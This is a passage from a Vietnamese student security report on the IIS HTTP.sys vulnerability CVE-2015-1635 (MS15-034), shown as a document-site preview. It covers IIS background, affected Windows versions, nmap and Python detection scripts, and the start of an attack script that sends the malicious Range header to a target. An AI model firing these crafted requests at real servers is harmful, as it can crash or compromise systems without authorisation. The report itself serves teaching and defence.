1. Trang chủ
  2. » Công Nghệ Thông Tin

Vulnerability in HTTP sys could allow remote code execution (MS15 034) PTIT

16 1,3K 10

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 16
Dung lượng 765,89 KB
File đính kèm Vulnerability in HTTP.sys (MS15_034) PTIT.rar (799 KB)

Nội dung

PHẦN I:GIỚI THIỆU1.1Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sysA)Giới thiệu về IIS:IIS là viết tắt của từ (Internet Information Services), được đính kèm với các phiên bản của Windows. IIS là các dịch vụ dành cho máy chủ chạy trên nền hệ điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó bao gồm nhiều dịch vụ khác nhau như Web Server, FTP Server…Nó có thể được sử dụng để xuất bản nội dung của các trang Web lên InternetIntranet bằng việc sử dụng “Phương thức chuyển giao siêu văn bản“ – Hypertext Transport Protocol (HTTP).Như vậy, sau khi bạn thiết kế xong các trang Web của mình, nếu bạn muốn đưa chúng lên mạng để mọi người có thể truy cập và xem chúng thì bạn phải nhờ đến một Web Server, ở đây là IIS. Nếu không thì trang Web của bạn chỉ có thể được xem trên chính máy của bạn hoặc thông qua việc chia sẻ tệp (file sharing) như các tệp bất kỳ trong mạng nội bộ mà thôi.Hiện tại IIS đã có các phiên bản 3.0, 4.0, 5.1, 6.0, 7.0, 7.5. Nói chung cách cài đặt không có gì khó và khác nhau lắm giữa các version. Các điểm cải tiến ở IIS 7 tập trung quanh vấn đề sử dụng mô hình thiết kế modul, chức năng quản lý dễ dàng, và nâng cao tính bảo mật.Phiên bản IIS 7 bao gồm:•Windows Process Activation Service (WAS): thiết lập trang sử dụng giao thức HTTP và HTTPS•Web server engine: thêm hoặc xóa các module•Integrated requestprocessing: xử lý request từ IIS đến ASP.NETB)Hoạt động của IISMột trong những dịch vụ phổ biến nhất của IIS là dịch vụ WWW (World Wide Web), nói tắt là dịch vụ Web.Dịch vụ Web sử dụng giao thức HTTP để tiếp nhận yêu cầu (Requests) của trình duyệt Web (Web browser) dưới dạng một địa chỉ URL (Uniform Resource Locator) của một trang Web và IIS phản hồi lại các yêu cầu bằng cách gửi về cho Web browser nội dung của trang Web tương ứng. oHTTP.sys nhận request mà client gửi lênoHTTP.sys liên lạc với WAS để nhận được những thông tin cấu hìnhoWAS yêu cầu thông tin cấu hình từ applicationHost.configoWWW service nhận thông tin cấu hìnhoWWW service sử dụng thông tin cấu hình để config HTTP.sysoWAS khởi động một worker processor trong application pool để xử lý requestoWorker processor xử lý request và gửi response cho HTTP.sysoHTTP.sys gửi response cho client.1.2Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal stack)HTTP.sys là một subsystem trong hệ thống của Windows, chạy dưới chế độ nhân. HTTP.sys lắng nghe request trong network, chuyển request cho IIS xử lý, sau đó gửi response cho trình duyệt của client. Lới ích từ việc sử dụng HTTP.sys:oKernel mode caching: request và response được xử lý mà không cần chuyển qua chế độ người dùngoKernel mode request queuing: Thiết lập hàng đợi cho những requests, giúp IIS không bị quá tải khi xử lýoCác request sẽ được tiền xử lý và kiểm tra những vấn đề an ninh cơ bản.1.3Lỗ hổng CVE20151635a, Thông tin tin cơ bản:Lỗ hổng trong HTTP.sys có thể cho phép Mã Thực hiện từ xa được công bố vào tháng 4 năm 2015 và được Microsoft đánh giá là lỗ hổng cực kỳ nghiêm trọng.HTTP.sys tồn tại một lỗ hổng bảo mật khi nó xử lý không đúng cách một request mà attacker gửi lên. Một khi đã thành công trong việc khai thác lỗi, attacker có thể thực thi code trên máy tính của nạn nhânb, Những hệ thống bị ảnh hưởng bởi lỗ hổng HTTP.sysLỗ hổng bảo mật này được xếp hạng nghiêm trọng cho tất cả các phiên bản của Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, và Windows Server 2012 R2. Bảng đánh giá và xác định

Trang 1

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN



BÁO CÁO MÔN HỌC

AN TOÀN HỆ ĐIỀU HÀNH

ĐỀ TÀI:

Vulnerability in HTTP.sys Could Allow Remote Code

Execution (CVE-2015-1635)

Hà Nội, 2016

Trang 2

2

MỤC LỤC

PHẦN I: GIỚI THIỆU 3

1.1 Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sys 3

1.2 Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal stack) 5

1.3 Lỗ hổng CVE-2015-1635 5

PHẦN II KHAI THÁC & TẤN CÔNG 8

2.1 Sử dụng phần mềm Metasploit để tìm kiếm thông tin 8

2.2 Kiểm tra cổng dịch vụ đang mở trên máy mục tiêu 9

Sử dụng httpSYS.py để quét và phát hiện máy bị lỗi 12

2.3 Tấn công 13

PHẦN III Phòng chống 15

PHẦN IV Demo 16

Trang 3

3

PHẦN I: GIỚI THIỆU

1.1 Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sys

A) Giới thiệu về IIS:

IIS là viết tắt của từ (Internet Information Services), được đính kèm với các phiên bản của Windows IIS là các dịch vụ dành cho máy chủ chạy trên nền

hệ điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó bao gồm nhiều dịch vụ khác nhau như Web Server, FTP Server…

Nó có thể được sử dụng để xuất bản nội dung của các trang Web lên Internet/Intranet bằng việc sử dụng “Phương thức chuyển giao siêu văn bản“ – Hypertext Transport Protocol (HTTP)

Như vậy, sau khi bạn thiết kế xong các trang Web của mình, nếu bạn muốn đưa chúng lên mạng để mọi người có thể truy cập và xem chúng thì bạn phải nhờ đến một Web Server, ở đây là IIS

Nếu không thì trang Web của bạn chỉ có thể được xem trên chính máy của bạn hoặc thông qua việc chia sẻ tệp (file sharing) như các tệp bất kỳ trong mạng nội bộ mà thôi

Hiện tại IIS đã có các phiên bản 3.0, 4.0, 5.1, 6.0, 7.0, 7.5 Nói chung cách cài đặt không có gì khó và khác nhau lắm giữa các version

Các điểm cải tiến ở IIS 7 tập trung quanh vấn đề sử dụng mô hình thiết kế modul, chức năng quản lý dễ dàng, và nâng cao tính bảo mật

Phiên bản IIS 7 bao gồm:

 Windows Process Activation Service (WAS): thiết lập trang sử

dụng giao thức HTTP và HTTPS

 Web server engine: thêm hoặc xóa các module

 Integrated request-processing: xử lý request từ IIS đến ASP.NET

B) Hoạt động của IIS

Một trong những dịch vụ phổ biến nhất của IIS là dịch vụ WWW (World Wide Web), nói tắt là dịch vụ Web

Dịch vụ Web sử dụng giao thức HTTP để tiếp nhận yêu cầu (Requests) của trình duyệt Web (Web browser) dưới dạng một địa chỉ URL (Uniform

Trang 4

4

Resource Locator) của một trang Web và IIS phản hồi lại các yêu cầu bằng cách gửi về cho Web browser nội dung của trang Web tương ứng

o HTTP.sys nhận request mà client gửi lên

o HTTP.sys liên lạc với WAS để nhận được những thông tin cấu hình

o WAS yêu cầu thông tin cấu hình từ applicationHost.config

o WWW service nhận thông tin cấu hình

o WWW service sử dụng thông tin cấu hình để config HTTP.sys

o WAS khởi động một worker processor trong application pool để xử

lý request

o Worker processor xử lý request và gửi response cho HTTP.sys

o HTTP.sys gửi response cho client

Trang 5

5

1.2 Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal stack)

HTTP.sys là một subsystem trong hệ thống của Windows, chạy dưới chế

độ nhân HTTP.sys lắng nghe request trong network, chuyển request cho IIS

xử lý, sau đó gửi response cho trình duyệt của client

Lới ích từ việc sử dụng HTTP.sys:

o Kernel mode caching: request và response được xử lý mà không cần chuyển qua chế độ người dùng

o Kernel mode request queuing: Thiết lập hàng đợi cho những

requests, giúp IIS không bị quá tải khi xử lý

o Các request sẽ được tiền xử lý và kiểm tra những vấn đề an ninh cơ bản

1.3 Lỗ hổng CVE-2015-1635

a, Thông tin tin cơ bản:

Lỗ hổng trong HTTP.sys có thể cho phép Mã Thực hiện từ xa được công

bố vào tháng 4 năm 2015 và được Microsoft đánh giá là lỗ hổng cực kỳ nghiêm trọng

HTTP.sys tồn tại một lỗ hổng bảo mật khi nó xử lý không đúng cách một request mà attacker gửi lên Một khi đã thành công trong việc khai thác lỗi, attacker có thể thực thi code trên máy tính của nạn nhân

b, Những hệ thống bị ảnh hưởng bởi lỗ hổng HTTP.sys

Lỗ hổng bảo mật này được xếp hạng nghiêm trọng cho tất cả các phiên bản của Windows 7, Windows Server 2008 R2, Windows 8, Windows Server

2012, Windows 8.1, và Windows Server 2012 R2 Bảng đánh giá và xác định mức độ ảnh hưởng nghiêm trọng:

Vulnerability Severity Rating and Maximum Security Impact by Affected Software

Affected Software

HTTP.sys Remote Code Execution Vulnerability -

CVE-2015-1635

Aggregate Severity Rating

Trang 6

6

Windows 7

Windows 7 for 32-bit Systems

Service Pack 1

(3042553)

Critical Remote Code Execution Critical

Windows 7 for x64-based

Systems Service Pack 1

3042553

Critical Remote Code Execution Critical

Windows Server 2008 R2

Windows Server 2008 R2 for

Itanium-Based Systems Service Pack 1

(3042553)

Critical Remote Code Execution Critical

Windows Server 2008 R2 for

x64-based Systems Service Pack 1

(3042553)

Critical Remote Code Execution Critical

Windows 8 and Windows 8.1

Windows 8 for 32-bit Systems

(3042553)

Critical Remote Code Execution Critical

Windows 8 for x64-based

Systems

(3042553)

Critical Remote Code Execution Critical

Windows Server 2012 and Windows Server 2012 R2

Windows Server 2012

(3042553)

Critical Remote Code Execution Critical

Windows Server 2012 R2

(3042553)

Critical Remote Code Execution Critical Server Core installation option

Windows Server 2012 (Server Critical Critical

Trang 7

7

Core installation)

(3042553)

Remote Code Execution

Windows Server 2012 R2

(Server Core installation)

(3042553)

Critical Remote Code Execution Critical

Trang 8

8

PHẦN II KHAI THÁC & TẤN CÔNG

2.1 Sử dụng phần mềm Metasploit để tìm kiếm thông tin

Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn

đề linỗ hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện tấn công mạng Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS Chúng ta có thể download chương trình tại www.metasploit.com

Metasploit hỗ trợ nhiều giao diện với người dùng:

– Console interface: dùng lệnh msfconsole Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn

– Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện Web

– Command line interface: dùng msfcli

Metasploit Enviroment:

– Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits

– Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save Môi trường đó sẽ được lưu trong /msf/config và sẽ được load trở lại khi user interface được thực hiện

Sử dụng Metasploit Framework:

- Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác

Show exploits: xem các module exploit mà framework có hỗ trợ

Use exploit_name: chọn module exploit

Info exploit_name: xem thông tin về module exploit

Trang 9

9

Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các module trên www.metasploit.com hoặc qua lệnh msfupdate hoặc svnupdat/opt/metasploit/msf3/

a, Cấu hình Module exploit đã chọn:

show options: Xác định những options nào cần cấu hình set: cấu hình cho những option của module đó

Một vài module còn có những advanced options, chúng ta có thể xem bằng cách gõ dòng lệnh show advanceds

b, Verify những options vừa cấu hình:

check: kiểm tra xem những option đã được set chính xác chưa

c, Lựa chọn target:

show targets: những target được cung cấp bởi module đó set: xác định target nào

d, Lựa chọn payload:

show payloads: liệt kê ra những payload của module exploit hiện tại info payload_name: xem thông tin chi tiết về payload đó

set payload payload_name: xác định payload module name Sau khi lựa chọn payload nào, dùng lệnh show options để xem những options của payload

đó

show advanced: xem những advanced options của payload đó

e, Thực thi exploit:

exploit: lệnh dùng để thực thi payload code Payload sau đó sẽ cung cấp cho chúng ta những thông tin về hệ thống được khai thác

2.2 Kiểm tra cổng dịch vụ đang mở trên máy mục tiêu

Nmap (Network Mapper) là một công cụ mã nguồn mở miễn phí nhằm phát hiện mạng và kiểm toán an ninh Nmap và Zenmap (Công cụ hỗ trợ đồ họa của nmap) được cài đặt sẵn trong BackTrack, sử dụng các gói tin IP giúp xác định host nào có sẵn trên mạng, các dịch vụ (tên ứng dụng và phiên bản)

mà host đó đang cung cấp, hệ điều hành gì (và các phiên bản hệ điều hành) mà

họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử dụng, và nhiều

Trang 10

10

đặc điểm khác Nmap chạy được trên tất cả các hệ điều hành, và các gói nhị phân chính thức có sẵn cho Linux, Windows, và Mac OSX

Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công

cụ quét lỗi hệ thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó khai thác truy cập vào hệ thống Một trong số các công cụ quét lỗi này là Nessus

Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ thống, Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload files, thay đổi cấu trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài trojan/ backdoor …

Sử dụng nmap:

Sử dụng lệnh sau để kiểm tra: Nmap –p80 http-vuln-cve2015-1635.nse [IP]

Sử dụng nmap chạy file http-vuln-cve2015-1635.nse để kiểm tra xem

hệ thống có tồn tại lỗ hổng CVE-2015-1635 hay không:

Source file http-vuln-cve2015-1635.nse:

local shortport = require "shortport"

local http = require "http"

local stdnse = require "stdnse"

local string = require "string"

local vulns = require "vulns"

description = [[Checks for a remote code execution vulnerability (MS15-034)

in Microsoft Windows systems (CVE2015-2015-1635)

The script sends a specially crafted HTTP request with no impact on the system to detect this vulnerability

The affected versions are Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1,

and Windows Server 2012 R2

References:

* https://technet.microsoft.com/library/security/MS15-034

]]

-

@usage nmap -sV script vuln <target>

@usage nmap -p80 script http-vuln-cve2015-1635.nse <target>

@usage nmap -sV script http-vuln-cve2015-1635 script-args uri='/anotheruri/' <target>

@output

PORT STATE SERVICE REASON

Trang 11

11

80/tcp open http syn-ack

| http-vuln-cve2015-1635:

| VULNERABLE:

| Remote Code Execution in HTTP.sys (MS15-034)

| State: VULNERABLE (Exploitable)

| IDs: CVE:CVE-2015-1635

| A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is

| caused when HTTP.sys improperly parses specially crafted HTTP requests An attacker who

| successfully exploited this vulnerability could execute arbitrary code in the context of the System account

|

| Disclosure date: 2015-04-14

| References:

| https://technet.microsoft.com/en-us/library/security/ms15-034.aspx |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635

@args http-vuln-cve2015-1635.uri URI to use in request Default: /

-

author = {"Kl0nEz", "Paulino <calderon()websec.mx>"}

license = "Same as Nmap See https://nmap.org/book/man-legal.html"

categories = {"vuln", "safe"}

portrule = shortport.http

local VULNERABLE = "Requested Range Not Satisfiable"

local PATCHED = "The request has an invalid header name"

action = function(host, port)

local uri = stdnse.get_script_args(SCRIPT_NAME ".uri") or "/"

local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

local vuln = {

title = 'Remote Code Execution in HTTP.sys (MS15-034)',

state = vulns.STATE.NOT_VULN,

description = [[

A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is

caused when HTTP.sys improperly parses specially crafted HTTP requests An attacker who

successfully exploited this vulnerability could execute arbitrary code in the context of the System account

]],

IDS = {CVE = 'CVE-2015-1635'},

references = {

'https://technet.microsoft.com/en-us/library/security/ms15-034.aspx' },

Trang 12

12

dates = {

disclosure = {year = '2015', month = '04', day = '14'},

}

}

local options = {header={}}

options['header']['Host'] = stdnse.generate_random_string(8)

options['header']['Range'] = "bytes=0-18446744073709551615"

local response = http.get(host, port, uri, options)

if response.status and response.body then

if response.status == 416 and string.find(response.body, VULNERABLE) ~= nil

and string.find(response.header["server"], "Microsoft") ~= nil then

vuln.state = vulns.STATE.VULN

end

if response.body and string.find(response.body, PATCHED) ~= nil then

stdnse.debug2("System is patched!")

vuln.state = vulns.STATE.NOT_VULN

end

end

return vuln_report:make_output(vuln)

end

Sử dụng Python

Sử dụng httpSYS.py để quét và phát hiện máy bị lỗi Source code:

import socket

import random

import sys

if len(sys.argv) <= 1:

sys.exit('Give me an IP')

ipAddr = sys.argv[1]

hexAllFfff = "18446744073709551615"

req1 = "GET / HTTP/1.0\r\n\r\n"

req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff +

"\r\n\r\n"

print "[*] Audit Started"

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80))

client_socket.send(req1)

boringResp = client_socket.recv(1024)

Trang 13

13

if "Microsoft" not in boringResp:

print "[*] Not IIS"

exit(0)

client_socket.close()

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80))

client_socket.send(req)

goodResp = client_socket.recv(1024)

if "Requested Range Not Satisfiable" in goodResp:

print "[!!] Looks VULN"

elif " The request has an invalid header name" in goodResp:

print "[*] Looks Patched"

else:

print "[*] Unexpected response, cannot discern patch status"

2.3 Tấn công

Sau khi xác định máy tính nạn nhân tồn tại lỗ hổng http.sys cho phép thực thi mã từ xa, tiến hành thực hiện tấn công bằng cách gửi một yêu cầu HTTP tới

hệ thống bị ảnh hưởng:

Sử dụng Python:

Sử dụng python chạy file Check.py:

Source file:

#Tested on Win Srv 2012R2

import socket,sys

if len(sys.argv)<=1:

sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((Host, 80))

s.send(Payload)

s.recv(1024)

s.close()

#Make sure iisstart.htm exist

Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"

Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

Ngày đăng: 24/11/2016, 10:46

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w